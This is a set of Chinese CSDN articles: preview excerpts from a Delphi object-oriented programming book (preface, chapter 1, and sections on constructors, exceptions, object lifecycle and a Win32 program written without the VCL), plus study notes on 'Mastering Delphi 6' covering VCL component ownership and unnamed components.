我有很多理由喜欢Delphi，但是应该说，那时正是Delphi的RAD开发方式让我陷入迷茫。当时我迷惑于RAD使人能力退化还是一种革命性的进步，相信很多Delphi程序员都会和我有一样的经历。
我很幸运，就在我迷茫的时候，认识了我的同学Lythm。是他让我找到了方向，然后就暂时放下手中的键盘，捧起了书本钻研C++与面向对象编程的理论。此时已没有了迷茫，取而代之的，则是能亲身感受到的、我梦寐以求的"突破"的感觉。之后，我又发现Delphi与C++在OO思想方面的共通性，并且相比之下，Delphi更得我心（理由见第1章），于是便有了"看C++的书，把弄手上的Delphi"的经验。
那么，你是否曾经或正在经历我曾经的迷茫呢？
如果你现在正在经历，我希望你和我一样幸运。不要犹豫，从这本书开始结束这种迷茫，也许我或者这本书能成为你的Lythm。
如果你预期未来会经历，那也请你珍藏着这本书，也许某天你会想起它，需要它。
我并没有任何文字暗示自己已经成为"高手"，所谓"高手突破"的解释并不是高手来帮助你突破。写这样一本书，我只是希望能把自己的"突破"的感觉与经验和大家共享，同时，它也是我对前一段时间学习的一个总结。

0.1 这本书没有什么？
这是本特殊的Delphi编程方面的书，它不会教你如何使用Delphi，也不会教你如何使用类似TListBox那样的组件，更不会涉及诸如多线程、DLL、API等Windows编程的内容，也没有热门的COM／DCOM。

0.2 这本书有什么？
这本书会告诉你面向对象编程的基础理论，会给你剖析VCL的部分源码，会告诉你在你开始敲键盘写代码之前应该做什么，怎样使你的代码的构架被更良好的设计以致于更容易被维护和修改，告诉你Lythm告诉我的一切，以及更多。

0.3 这本书还没有什么？
看起来，这是一本更侧重于讲设计的书。请不要误会，这本书还不会教你关于面向对象分析／设计（OOA／OOD）的内容，更没有UML

0.4 这本书究竟有什么？
就本质来说，这本书只讲OOP，当然，是用Delphi作为载体，因为它是写给Delphi程序员的。其中有设计的内容，但仅限于代码设计。本书末尾会有一章就一个实例向你展示代码构架设计的一种可能的方式，但此方式并不是唯一的。实例不需要被照搬，而需要领会。

0.5 本书章节介绍
本书第1、2、3章介绍OOP的知识基础，虽然这样的内容在很多书都会有，但本书一定会带给你不同的感觉。
第4、5章介绍VCL相关的知识。其中第4章为你剖析部分VCL的核心组件源码，第5章介绍定制、设计组件的方法。
第6、7章介绍程序构架设计。第6章介绍一般性的代码设计准则，其内容可以完全脱离Delphi，因为这些准则是跨语言的。第7章为一个完整的代码设计实例，以编写一个多工作区的文本编辑器为例，从实践角度说明程序构架设计的方法。

0.6 本书的支持网页
本书的支持网页为：http://www.sunistudio.com/nicrosoft/book/
作者Email：nicrosoft@sunistudio.com

希望你喜欢本书以及它的作者--我！谢谢。


CSDN_文档中心_《Delphi高手突破》第一章——预览版

写在前面的话：目前，正在写一本面向delphi熟练程序员的书，主题是在delphi中使用面向对象编程技术构建良好设计的程序。

此书还在写作过程中，我希望能让大家先对此书的主题以及语言风格能有一个预先的了解。同时，能提出自己的意见。作为作者，我希望这本书能成为国内原创Delphi图书中的经典之作，未必能成功，但我尽力。

由于以上原因，我不可能将整本书都贴出来（呵呵，那样就没人去买了），所以应该不会有后续章节贴在这里（或许会有一些节选吧）了。

在此，我要感谢那些鼓励过我、提出过意见的朋友（在csdn的delphi论坛我贴过，得到广泛的响应，谢谢大家了）。还要感谢一直支持、激励我的女友——Esan。我所能做的，就是把书写好，回报大家，我知道，大家（包括我）等好书等的太辛苦了！

第1章 重新认识Delphi

简单性是这个世界上最难获得的东西：它是经验的最终界限，也是天才的最终努力目标。——George Sand

您已经是一位熟练的Delphi程序员，可以运用Delphi快速地写出一个漂亮、实用的程序；您热爱Delphi；她已经成了您工作、学习中不可或缺的一部分。我假设这些都为真，那么您当初选择Delphi作为自己的首选开发工具一定有自己的理由或者原因。

至少，我自己是符合以上的所有假设的。现在，我所想和您分享的，正是我选择Delphi的理由及原因，以及我对Delphi的认识。您可以把我看作一个拥护Delphi的狂热分子，虽然那样会让我感到您把我看得太过肤浅，我并不承认，但是我不介意。因为，我真的热爱她。

第一次接触的Delphi的版本是3.0，那时候只不过把它当作Visual Basic一样的RAD工具来用而已。但是，随着时间的流逝，Delphi 3、Delphi 4、Delphi 5、Delphi 6以及Kylix，对Delphi的认识也越来越深。它是有着丰富内涵的工具，让人对她越了解，就越对她迷恋，越感觉离不开她，虽然它也还只是工具。

Pascal是一种讲究程序美学的语言——毫无疑问，Pascal代码是最优美的代码——基于Object Pascal（一种支持面向对象的Pascal语言）的Delphi让这种美达到了极至。

现在，你可以打开Delphi，选择“Help”－“About”菜单，出现About窗口后，按住Alt键，同时顺序键入“team”，你看到了什么？是的，Delphi开发人员名单，让我们感谢他们制造出如此的更象艺术品的开发工具吧！

1.1 开发工具“以人为本”论

经常可以在各个编程论坛上看到类似这样的问题：“VB还有没有前途？”；“Delphi是不是要淘汰了？”；“MFC是不是要被.NET取代了？”……其实，这些问题在被提出的当时，是没有人能给出答案的。因为一种技术、一个产品的前途，并不完全由其本身所能左右，还与市场需求、出品公司的发展方向等因素有关。而我们所应该关注的，是否就是这些问题的答案呢？我认为不是。

我们知道，世间万物由原子组成；千变万化的程序归根结底由顺序、循环、分支三种结构构成；无论VC的MFC，还是Delphi的VCL，都是由面向对象技术构建的（暂且不论其面向对象的程度）。当你拨开事物表面的表象后，你看到的，是相同的或近似的本质！而掌握了本质之后，就会发现表象的表现形式是那么的理所当然。试想，当你能象侯捷（《深入浅出MFC》的作者）那样把MFC剥得体无完肤，你还会担心MFC被某某框架所取代吗？从这个角度来说，对于一名专业程序员，编程的理念是万变不离其宗的。发现问题、分析问题、解决问题的过程是存在着某种模式的，当你掌握了这种模式后，不同的编程语言，不同的开发环境对你来说，是有共通之处的。

我认为C++是每个专业程序员所必须掌握的。当然，并不是说单纯学习其语法（甚至可以忽略一些语法的学习），而是通过C++学习面向对象的设计、编程方法。因为C++博大精深，因为C++无所不及。在C++中，你可以学习到面向对象理论的全部，学习之后，你会被C++所改造。因为在面向对象理论中存在的，但有所争议的特性（比如：多重继承）在C++中都得到支持。你只有在掌握之后，才可能作出自己的选择（支持或反对）。在掌握了面向对象的理论之后，无论C++、Object Pascal或是Java乃至C#，你会感觉到它们的异曲同工之处。

那是否就是说开发工具（或许应该称为集成开发环境，不过下文还是按我的习惯，用开发工具来称呼）之间除了支持的语言不同外，不存在其他差异了？当然也不是。开发工具是帮助你实现你的理念的工具，也就是构建在基础理念上的上层建筑。开发工具对于你所要实现的理念的支持程度以及对实现过程的简化程度，就是开发工具的体贴度了。开发工具于程序员，犹如兵器于士兵，兵器不顺手，未战先败一半。

一直很喜欢诺基亚手机的广告词：科技以人为本！是的，“人”才是本，工具的使命是辅助人更快、更容易地达到目的。因此，开发工具也应该以人为本！

作为一名程序员，作为开发工具的最直接的使用者，我希望我所使用的开发工具真正是我的伙伴、助手，它能给我带来自由的感觉，让我自由地在代码的世界中驰骋，它能迁就我、适应我，而不是相反，给我套上枷锁！

如今在Windows平台上，有许许多多的开发工具可以选择：Visual C++、Visual Basic、Delphi、C++ Builder、JBuilder……它们基于不同的编程语言、忠于不同的公司的产品理念，从这个角度来说，它们之间的差异是非常大的。

那什么样的开发工具才是优秀的、体贴的、以人为本的？我的标准是符合以下四点：

1、能够将要解决的问题简化，并以某种理念快速实现之

2、不隐藏任何你想知道的细节

3、可以忽略你所不想知道的细节

4、主动去适应不同层次的程序员

符合以上四点的开发工具有吗？我的答案是：有！那就是Delphi！她将一切化繁为简，却从不阻止我寻求真实。你可以在她给你构造的简化了的VCL的虚拟世界中完成任务。也可以钻进VCL的世界以探询她和现实世界（即Windows平台的真实接口）的映射关系，学习它的Framework的设计。你还可以扩展那个虚拟的VCL世界以适应自己的需要。

我为存在着这样的开发工具而感到幸运，更为幸运的是，我可以选择她，和她一起完成我的工作！（现实中，项目中使用什么编程语言、开发工具，时常并不是你个人所能左右的，会受很多因素制约。比如：客户的硬件环境、操作系统环境，开发环境，开发工具的成本、许可证等等。因此能选择自己喜欢的开发工具进行开发工作实在是很幸运的了。）

通过C++学习面向对象的理念，用Delphi去解决现实世界的问题，这是我的做法。同时也验证了那句话：学从难处学，用从易处用。

真正的程序员用C++，聪明的程序员用Delphi。那么，真正聪明的程序员用C++来理解Delphi！

1.2 Delphi更多的优势

用过很多的主流开发工具，为什么还是选择了Delphi？也许是因为没有深入地去熟悉其它开发工具吧，但Delphi本身的优秀至少是原因之一！Delphi优秀在何处？

n 开发的高效

Delphi是一个RAD（Rapid Application Development 快速开发工具），它有可视化的开发环境，当然具有类似功能的开发工具也不少（如Visual Basic），但Delphi有如下的独到之处：

1）Delphi是真正面向对象的。其基于OO技术构建的VCL库中的所有组件都可以被继承以创建新的组件，包括窗体类TForm。相比之下，ActiveX组件缺乏这种灵活性。

2）Delphi的CodeInsight技术（即代码自动完成功能）是建立在编译器信息上的，而VB使用的是类型库信息，使用编译器信息的好处是更具灵活性。不过，时常有程序员抱怨Delphi的代码提示时间太长。其实，我个人感觉是习惯了其速度之后，能体会到一种节奏的快感。

n 语言的高效

Delphi基于Object Pascal语言。这是一种真正支持面向对象而又优雅美观的语言。其在功能的健全上毫不逊色于各种其它的面向对象的语言，但同时又不贪多，盲目地增加复杂性。使得开发者运用各种模式进行设计时都能得到完善的支持，实现时却不用考虑太多语言／编译器细节。

n 编译的高效

可以说，Delphi是Windows平台上最快的高级语言本地代码编译器了。编译速度快有什么好处呢？快速的编译器可以让你频繁地在修改代码和编译运行的状态间切换。至少，我自己已经非常习惯了这样的工作方式：运行程序看一下效果，退出程序修改少量代码再运行程序。而Delphi的编译器从来不会让我有等待的感觉。

n 执行的高效

Delphi不但编译速度快，生成的目标代码的执行效率也非常高。Delphi与C＋＋Builder使用的是同一个后端优化器，因此其生成的代码的效率与优秀的C++编译器生成的代码相同。

Delphi生成完全本地代码，因此Delphi编译结果的可执行文件可以被独立执行、分发（对于“绿色软件”的开发，这一点十分重要）。不需要其他运行库支持。当然，你也可以选择动态链接编译，这样可以大大减小可执行文件的长度，不过这种情况下在分发程序时，必须同时分发必要的运行库文件。

n 维护的高效

C++把许多决策权给了程序员，因此功能十分强大，但同时，要用C++写出出色的面向对象的代码，就要求程序员具有一定的素质。而Delphi程序员会在一定程度上被限制在VCL提供的框架中（当然，完全可以在Delphi中摆脱VCL编程），相对来说，更容易建立良好设计的代码。而Visual Basic则根本没有提供面向对象的编程机制（VB6.0及先前版本都是基于对象，而非面向对象）。代码框架的优良使得软件维护成本大大降低。

基于以上所有理由，我选择Delphi！

1.3 本书主题

我们平时都会写很多代码，为公司，为自己或者为朋友。有时，为了验证自己的一个想法，或学习某一个技术，会写一些试验性的代码。这样的代码的生命周期很短，基本不需要维护，随意写一下就可以。但是，当你真正要完成一个项目的时候，代码设计就非常重要。因为这样的代码是需要长期维护，不断修改或增强的。设计凌乱的代码会使得维护非常困难或者根本不可能，修改这样的代码意味着产生更多的 bug 或者就是灾难。

因此，代码在被编写之前，需要先被设计。这里所说的设计并不是指功能设计，而是指程序员在编码前先对代码框架的设计，以使得今后代码更容易被理解、被维护。

经常听到一种说法：程序员的程序寿命只有35岁。我却从不相信程序员的寿命只到35岁，也许35岁以后，实现能力（其实就是工匠能力）有下降的可能，而设计能力是随着经验的增加不降反升的。这才是最宝贵的。

国外的软件开发小组，一般的骨干都是40岁上下的人，那些才是大师级的程序员，而所谓的过了35岁就不能当程序员的程序员根本没有资格被称为程序员。

软件工程要将程序员变成编码员，变成流水线上的一环，设计工作由专门的设计师完成（如框架设计师）。也许，分工细化是趋势，但是，我们是满足于做编码员还是希望成长为设计师，取决于我们的眼光及努力。

放开眼光，而不是将自己局限于、沉迷于“实现高手”。实现能力是基础，有一定的实现能力才可能成长，但是，它只是必要条件，而不是充分的。否则，就象爬到山腰就以为自己到了山顶，停滞不前了。那么，你只可能是编码员，你的程序寿命也只到35岁。在有了这样的眼光之后，希望本书可以助您起步。

国内出版的Delphi相关书籍，基本都是讲解实现的。本书的书名是《Delphi高手突破》。那么，假设你现在已经是Delphi高手了。所以本书不会涉及太多的实现技巧，虽然也有实例代码，但重点在于其构架的设计，而并非实现。

至此，您也许已经猜出本书的主题了：如何在Delphi中使用面向对象技术，构建良好设计的代码。

在我看来，写代码是艺术创作。优雅的代码可以自解释，而不需要过多的注释。当注释过多的时候，就该考虑设计是否合理了。写书应该也是艺术创作，如果能把自己的认识、经验艺术地告诉读者，而不需要过多的“注释”（浪费篇幅的废话），就非常成功了。我希望自己能做到，至少尽量吧。

1.4 小结

我相信，走上编程这条路，对于我来说是必然的。能成为专业程序员，也是我所梦想并实现了的。但是，Delphi的出现以及被我所认识、熟悉、迷恋并成为工作的一部分，应该说是一个意外的惊喜。

在此，我所想说的就是，对于自己的坚持，就更坚持一些吧。当你清醒地定位了自己之后，清楚地知道自己所选择的道路之后，就不用有所疑问、有所顾忌了，坚持走下去。最终虽然未必会成功（当然，每个人对成功的定义是不一样的），但爱我所爱，无怨无悔！


CSDN_文档中心_《delphi高手突破》节选二

完成了第三章 异常及错误处理，节选一节

构造函数与异常

这个话题在C++社区中经常会被提起，而在Delphi社区中似乎从来没有人注意过。也许由于语言的特性，使得Delphi程序员不必关心这个问题。但我想Delphi程序员也应该对该问题有所了解，知道语言为我们提供了什么而使得我们如此轻松，不必理会它。正所谓“身在福中须知福”。

我们知道，类的构造函数是没有返回值的，如果构造函数构造对象失败，不可能依靠返回错误代码。那么，在程序中如何标识构造函数的失败呢？最“标准”的方法就是：抛出一个异常。

构造函数失败，意味着对象的构造失败，那么抛出异常之后，这个“半死不活”的对象会被如何处理呢？

在此，我想读着有必要先对C++对这种情况的处理方式先有个了解。

在C++中，构造函数抛出异常后，析构函数不会被调用。这种做法是合理的，因为此时对象并没有被完整构造。

如果构造函数已经做了一些诸如分配内存、打开文件等操作的话，那么C++类需要有自己的成员来记住做过哪些动作。当然，这样做对于类的实现者来说非常麻烦，因此一般C++类的实现者都避免在构造函数中抛出异常（可以提供一个诸如Init和UnInit的成员函数，由构造函数或类的客户去调用它们，以处理初始化失败的情况）。而每一本C++的经典著作所提供的方案是使用智能指针（STL的标准类auto_ptr）。

在Object Pascal中，这个问题变得非常的简单，程序员不必为此大费周折。如果Object Pascal的类在构造函数中抛出异常，编译器会自动调用类的析构函数（由于析构函数不允许被重载，可以保证只有唯一一个析构函数，因此编译器不会迷惑于多个析构函数之中）。析构函数中一般会析构成员对象，而Free()方法保证了不会对nil对象（即尚未被创建的成员对象）调用析构函数，因此在使得代码简洁优美的前提下，又保证了安全。

type MyClass = class

private

FStr : PChar; // 字符串指针

public

constructor Create();

destructor Destroy(); override;

end;

constructor MyClass.Create();

begin

FStr := StrAlloc(10); // 构造函数中为字符串指针分配内存

StrCopy(FStr, 'ABCDEFGHI');

raise Exception.Create('error'); // 抛出异常，没有理由，呵呵

end;

destructor A.Destroy();

begin

StrDispose(FStr); // 析构函数中释放内存

WriteLn('Free Resource');

end;

var

Obj : TMyClass;

i : integer;

begin

try

Obj := TMyClass.Create();

Obj.Free();

WriteLn('Succeeded');

except

Obj := nil;

WriteLn('Failed');

end;

Read(i); // 暂停屏幕，以便观察运行结果

end.

在这段代码中，构造函数抛出异常，执行的结果是：

Free Resource

Failed

此时的“Free Resource”输出是由编译器自动调用析构函数所产生的。

因此，如果类的说明文档或类的作者告知你，类的构造函数可能会抛出异常，那就要记得用try…except包住它！

C++与Object Pascal对于构造函数抛出异常后的不同处理方式，其实正是两种语言的设计思想的体现。C++秉承C的风格，注重效率，一切交给程序员来掌握，编译器不作多余动作。Object Pascal继承Pascal的风格，注重程序的美学意义，编译器帮助程序员完成复杂的工作。


CSDN_文档中心_《Delphi高手突破》节选－－脱离VCL的Windows程序

我知道，朋友们等待这本书很久了，好多朋友都发Email来问。出版社现在说，10月中旬可以上市。上市最快的，应该是网络上的销售，然后，常规渠道来说，北京应该比其他区域快。

在此，再贴出一段节选。

书的支持网站：http://www.sunistudio.com/nicrosoft/book/did/
光盘内容下载暂时不提供。

谢谢！

-----------------------------------------------
4.4.1 脱离VCL的Windows程序
我想读者有必要先了解一个标准Windows程序的运行流程，如果您还不了解，请看下面的一个示例程序。在此，我给出一个用纯pascal所编写的十分简单的Windows应用程序，以演示标准Windows程序是如何被建立及运行的。该程序的代码及可执行文件可在本书配套光盘的WindowDemo目录下找到，程序可被Delphi编译通过。
以下是代码清单，请注意其中的注释：
program WindowDemo;

uses Windows, Messages;

// 窗口函数，窗口接到消息时被Windows所调用
function WindowProc(hwnd : HWND; uMsg : Cardinal; wParam : WPARAM;
lParam : LPARAM) : LResult; stdcall;
begin
Result := 0;

case uMsg of
// 关闭窗口消息，当用户关闭窗口后，通知主消息循环结束程序
WM_CLOSE : PostMessage(hwnd, WM_QUIT, 0, 0);
// 鼠标左键按下消息
WM_LBUTTONDOWN : MessageBox(hwnd, 'Hello!', '和您打个招呼',
MB_ICONINFORMATION);

else
// 其它消息做默认处理
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
end;
end;

var
wndcls : WNDCLASS; // 窗口类的记录（结构）类型
hWnd : THandle;
Msg : tagMSG; // 消息类型
begin
wndcls.style := CS_DBLCLKS; // 允许窗口接受鼠标双击
wndcls.lpfnWndProc := @WindowProc; // 为窗口类指定窗口函数
wndcls.cbClsExtra := 0;
wndcls.cbWndExtra := 0;
wndcls.hInstance := hInstance;
wndcls.hIcon := 0;
wndcls.hCursor := LoadCursor(hInstance, 'IDC_ARROW');
wndcls.hbrBackground := COLOR_WINDOWFRAME;
wndcls.lpszMenuName := nil;
wndcls.lpszClassName := 'WindowClassDemo'; // 窗口类名称

// 注册窗口类
if RegisterClass(wndcls) = 0 then
Exit;

// 创建窗口
hWnd := CreateWindow(
'WindowClassDemo', // 窗口类名称
'WindowDemo', // 窗口名称
WS_BORDER or WS_CAPTION or WS_SYSMENU, // 窗口类型
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
0,
0,
hInstance,
nil
);
if hWnd = 0 then
Exit;

// 显示窗口
ShowWindow(hWnd, SW_SHOWNORMAL);
UpdateWindow(hWnd);

// 创建主消息循环，处理消息队列中的消息并分发
// 直至收到WM_QUIT消息，退出主消息循环，并结束程序
// WM_QUIT消息由PostMessage()函数发送
while GetMessage(Msg, hWnd, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
该程序没有使用VCL，它所做的事情就是显示一个窗口，当你在窗口上单击鼠标右键时弹出一个友好的对话框向您问好。如果您从来不曾了解过这些，那么我建议您实际运行一下光盘上的这个程序，对其多一些感性认识。
就是这样一个简单的程序，演示了标准Windows程序的流程：
1、从入口函数WinMain开始
2、注册窗口类及窗口函数（Window Procedure）
3、创建并显示窗口
4、进入主消息循环，从消息队列中获取并分发消息
5、消息被分发后，由Windows操作系统调用窗口函数，由窗口函数对消息进行处理。
在Object Pascal中，我们看不到所谓的“WinMain”函数，不过，其实整个program的begin处就是Windows程序的入口。
注册窗口类通过系统API函数RegisterClass()来完成，它向Windows系统注册一个窗口的类型。
注册窗口类型完成后，就可以创建这个类型的窗口实例，创建出一个真正的窗口通过API函数CreateWindow()来实现。
创建出的窗口实例通过API函数ShowWindow()来使得它显示在屏幕上。
当这一切都完成后，窗口开始进入一个while循环以处理各种消息，直至API函数GetMessage()返回0退出程序。循环中，程序需要从主线程的消息队列中取出各种消息，并将它分发给系统，然后由Windows系统调用窗口的窗口函数（WndProc）以完成窗口对消息的响应处理。
也许你会觉得，写一个Windows应用程序原来是那么繁琐的，需要调用大量的API函数来完成平时看起来很简单的事情，而我们平时使用VCL编写窗口应用程序时，似乎从来没有遇到过这些东西。是的，VCL作为一个Framework为我们做了很多事情，其中的TApplication除了定义一个应用程序的特性及行为外，另一个重要的使命就是封装以上的那些令人讨厌的、繁琐的步骤。


CSDN_文档中心_《delphi高手突破》节选一

上次贴出新书的第一章，出乎我的意料，反响热烈，得到许多网友的支持。
今天完成了第二章的草稿的撰写，在此节选一小段文字，希望继续得到大家的支持，指正。
当然，节选的量是非常少的（否则出版社也不答应，呵呵），不过，一斑可窥全豹，之后我会在每一章完成后，节选少量文字贴在这里。

信箱 nicrosoft@sunistudio.com
个人主页 http://www.sunistudio.com/nicrosoft/
东日制作室 http://www.sunistudio.com

===========================================================

在Object Pascal中，所有对象都被建立在内存的堆空间上，而非栈上，因此构造函数不会如同C++那样被编译器自动调用。构造对象和析构对象都是程序员的职责。
构造对象首先要为对象分配内存，这个步骤在Object Pascal中是由编译器支持完成的--即所谓的"编译器魔法（Compile Magic）"，此过程程序员不必参与；接着要初始化对象的数据成员，编译器会负责"清零"，但如果有特殊的赋值，可以在构造函数中完成；对象在被析构的时侯需要释放所申请的资源（非对象本身所占用内存），这些工作是析构函数的职责；对象本身所占内存的回收，同样由"编译器魔法"完成。

对象内存的分配及回收

编译器在为对象分配内存时，所提供的支持就是在调用构造函数之前插入这几行汇编代码：

test dl, dl
jz +$08
add esp, -$10
call @ClassCreate // 注意这行代码

以上代码的最后一行代码调用的是system.pas文件的第8949行的_ClassCreate函数（以Delphi 6为准），该函数具体为每个对象分配合适的内存。内存分配完成后是调用类的构造函数以初始化数据成员。之后，编译器会再插入以下几行汇编代码：

test dl, dl
jz +$0f
call @AfterConstruction
pop dword ptr fs:[$00000000]
add esp, $0c

其中主要工作是调用每个对象实例的AfterConstruction，这个调用在Delphi中没有用，它的存在是为C++Builder所保留的。
同样，析构对象时，首先要调用类的析构函数以释放对象申请的资源。之后是回收对象本身所占内存空间，这件工作是由编译器在调用析构函数后，插入以下的汇编代码来完成的：

call @BeforeDestruction
test dl, dl
jle +$05
call @ClassDestroy

这些代码所做的工作与构造对象分配内存时所做的是对应的，主要是对system.pas中第8997行的_ClassDestroy函数的调用。

构造函数与析构函数

定义构造函数使用Constructor关键字，按惯例，构造函数名称为Create（当然也可以用其他名称，但那绝非优良的设计！）。如：

type
TMyFamily = class // 为你的家庭定义的类
Private
FMyFatherName : String; // 你父亲的名字
FMyMotherName : String; // 你母亲的名字
…… // 你家庭中的其他成员
Public
Constructor Create(strFatherName, strMotherName : String);
…… // 其它方法
End;

也许你会问，如果我没有为我的类提供构造函数，它的对象能否被建立呢？答案是：可以。原因前面已经说了，对象本身所占内存的分配是由编译器完成的。而且由于Object Pascal中，所有类（除了TObject类本身）都是从TObject类派生，因此编译器会调用TObject.Create()构造函数，只是这个函数是一个空函数，它并不会对TMyFamily类的数据成员（FMyFatherName、FMyMotherName）初始化，它们会被自动清为空字符串（即''），因为TObject.Create()根本就不认识你的父、母亲！

创建对象时则直接调用构造函数，形式如下：

MyFamilyObject := TMyFamily.Create('Zhang', 'Li');

定义析构函数使用Destructor关键字，按惯例，析构函数名称为Destroy。如：

type
TMyClass = class
Public
Destructor Destroy(); override;
End;

之所以在析构函数声明最后加上override声明，是因为保证在多态的情况下对象能正确被析构（关于多态，将在2.4节中详述）。如果不加override关键字，编译器会给出类似"Method 'Destroy' hides virtual method of base type 'TObject'"的警告提示。警告的意思是你定义的Destroy隐藏了基类的虚方法TObject.Destroy()，那样的话，在多态的情况下就无法正确析构对象了。

注意：析构函数都需要加override声明。

同样，如果在你的类中没有特殊的资源需要被释放，那么你也可以不定义析构函数。只是，在析构对象的时候，应该调用对象的Free()方法而不是直接调用Destroy()。
MyFamilyObject.Free();
这是因为在Free()方法中会判断对象本身是否为nil，如果不为nil才调用对象的Destroy()，以增加安全性。既然有这样的更安全的做法，当然没有理由不这么做了。
注意：永远不要直接调用对象的Destroy()，而应该是Free()。
由此可以得出结论，在Object Pascal中你只需关注对象所申请的资源的分配与释放，而不必关心对象本身所占空间！


CSDN_文档中心_《Mastering Delphi 6》学习笔记之八

构件自动清除的内幕

我们已经知道，TComponent在释放自身的时候会自动删除它Owns的所有Component，这是Delphi程序的一个极大特点。否则的话，任何动态生成的对象比如Menu Items都要自己维护和删除，那将是多么痛苦。VCL是如何做到这一点的呢？可以想象到，每个Component内部应该保持一个列表，记录它所拥有的Components，在自身的析构函数中将列表中的所有对象同时删除即可。基本上这个想法是正确的，不过应该考虑到两种可能的情况：（1）构件删除自身的时候，将它所拥有的子构件全部清除，这种情况下子构件是被动的；（2）某个子构件主动地调用了Free或者Destroy，这个时候，父构件应该有办法得到通知，并且维持列表的同步。否则的话，就可能出现某个子构件被析构两次以上的情况，其后果如何大概也可以想到了。

要保持列表的同步，子构件在建立的时候就必须向父构件报告，退出的时候也必须给父构件打个招呼才行。

原理不复杂，现在来看看VCL是如何实现的。TComponent的构造方法叫做Create,带有一个AOwner参数：

constructor TComponent.Create(AOwner: TComponent);

begin

  FComponentStyle := [csInheritable];

  if AOwner <> nil then AOwner.InsertComponent(Self);

end;

InsertComponent正是我们关心的地方。找找看它的具体实现:

procedure TComponent.InsertComponent(AComponent: TComponent);

begin

  AComponent.ValidateContainer(Self);

  ValidateRename(AComponent, '', AComponent.FName);

  Insert(AComponent);

  AComponent.SetReference(True);

  if csDesigning in ComponentState then

    AComponent.SetDesigning(True);

  Notification(AComponent, opInsert);

end;

虽然有些地方还不大明白，不过关键的部分看来是Insert(AComponent)一句。再找到Insert：

procedure TComponent.Insert(AComponent: TComponent);

begin

  if FComponents = nil then FComponents := TList.Create;

  FComponents.Add(AComponent);

  AComponent.FOwner := Self;

end;

我们所猜想的内部列表终于现身，它是一个通用的，可以容纳任何TObject或者Pointer的TList类型。

另外，从上面的代码段也可以看到VCL中比较典型的一种处理方法，那就是对象“只有在需要的时候才建立”，比如上面建立FComponents就是属于这种情况。当然，在每次建立一个构件时都检查一遍FComponent的有效性将会稍稍影响程序的运行速度，但是考虑到程序所占用的内存（Form和Application一般有应该有Components列表，而一般的构件则完全没有必要，如果每个构件都建立一个List的话，那么占用的内存是相当可观的），这种处理方法也有它的道理。

现在再来看看析构时的情况：

destructor TComponent.Destroy;

begin

  Destroying;

  if FFreeNotifies <> nil then

  begin

    while Assigned(FFreeNotifies) and (FFreeNotifies.Count > 0) do

      TComponent(FFreeNotifies[FFreeNotifies.Count - 1]).Notification(Self, opRemove);

    FreeAndNil(FFreeNotifies);

  end;

  DestroyComponents;

  if FOwner <> nil then FOwner.RemoveComponent(Self);

  inherited Destroy;

end;

这里有两个重要的地方：（1）DestroyComponents一句，显然是删除其所拥有的Components；（2）FOwner.RemoveComponents(Self)，看来是把自身从父构件的FComponents列表中移走。

procedure TComponent.DestroyComponents;

var

  Instance: TComponent;

begin

  while FComponents <> nil do

  begin

    Instance := FComponents.Last;

    if (csFreeNotification in Instance.FComponentState)

      or (FComponentState * [csDesigning, csInline] = [csDesigning, csInline]) then

      RemoveComponent(Instance)

    else

      Remove(Instance);

    Instance.Destroy;

  end;

end;

procedure TComponent.RemoveComponent(AComponent: TComponent);

begin

  ValidateRename(AComponent, AComponent.FName, '');

  Notification(AComponent, opRemove);

  AComponent.SetReference(False);

  Remove(AComponent);

end;

RemoveComponent内部又调用了Remove，再看看这个函数：

procedure TComponent.Remove(AComponent: TComponent);

begin

  AComponent.FOwner := nil;

  FComponents.Remove(AComponent);

  if FComponents.Count = 0 then

  begin

    FComponents.Free;

    FComponents := nil;

  end;

end;

很简单，是么？通过这一番游历，相信“构件在何种情况下会被自动清除和如何被清除”这个问题应该有了明确的答案，以后写起代码来也应该放心多了。

附记：通过上面的例子，我才体会到Delphi中的导航键是多么方便！不论是自己的单元还是VCL内部单元，用Ctrl+点击和Ctrl+Shift+Up/Down，以及Code Editor中的Back/Forword按钮，三两下就可以定位到任何地方。在Visual C++中就没有这样的方便，不论是用Trace还是用Source Browser，都必须先编译通过才行，即使用Find In Files也不见得快多少。相比起来，在Delphi中跟踪源代码要方便多了。虽说Delphi的启动速度确实慢了点，不过它在其他方面提供的快捷方便还是应该肯定的。


CSDN_文档中心_《Mastering Delphi 6》学习笔记之九

无名称构件的使用

我曾在许多Delphi资料中看到这样的说法：每一个Component都必须有一个不为空的Name，用于和其他Component相区分。过去我也对这种说法深信不疑。但是看过《Mastering Delphi 6》后，我知道我错了。Component的Name属性可以是空的，特别是对于Menu Separator，Static Label，Bevel，Shape和Panel等等。虽然IDE会给所有的构件起一个默认的名称，不过你可以在Object Inspector中把它的Name清空，这样的后果是：

1．构件在Object Inspector和Object TreeView中将变成Unnamed或者Component<0>这样的表示方法；

2．该构件的声明将从Form的声明中完全删除；

3．如果用View As Text看看.DFM文件的定义，发现无名称的Component对象定义为这样的形式：

object : TMenuItem

caption = ‘-’

end

而一般的声明为：

object File1: TMenuItem

caption = ‘File’

end

这个特点的真正好处在于，可以让Form的声明简洁许多，再也不会充斥大量无用的N1,N2之类标识符，从而混淆你的视线。当然，可执行文件的大小也会稍有减少。

不过，假如将Form上面所有Label的Name都设为空，那么运行该程序将产生一个错误，因为编译器看到声明中没有Label，所以不会将TLabel的有关TLabel的库函数连接进来。(编译器在绝大多数时候都很聪明，不过这个时候只能说它是自作聪明。)解决办法是至少保留一个有名字的Label。

我们甚至可以手动将Form中某个Component的声明删除。不用担心，在Form建立起来的时候这个Component不会消失，只是不能够用通常的办法来引用它了。真的有需要的时候，可以用Form1.FindComponent(‘Button1’)这样的方法找到特定的构件。如果Form中的构件实在太多，可以用这个技巧来删除一部分不太重要的声明，保持单元的简洁。

其实，要减少Label声明的数量，用Delphi 6中新增的LabledEdit是一个行之有效的办法，而且LabeledEdit可以简化窗体的布局管理。不过，LabeledEdit只对Edit有效。要减少其他不需要响应事件和处理输入的构件（如Menu Separator，Panel和Bevel等等）的声明，就只能用这种方法。

不同于一般的procedure或者function，在Delphi中属于某个类的方法称为method，它们的声明一般为

AProcMethod:procedure(Sender:TObject) of object;

为什么一定要加上of object呢？实际上，Object Pascal中一般的函数指针就相当于普通的指针，而AProcMethod则是一个对指针，它在Delphi中有一个对应的类型：TMethod。

TMethod=record

Data, Code:Pointer;

end;

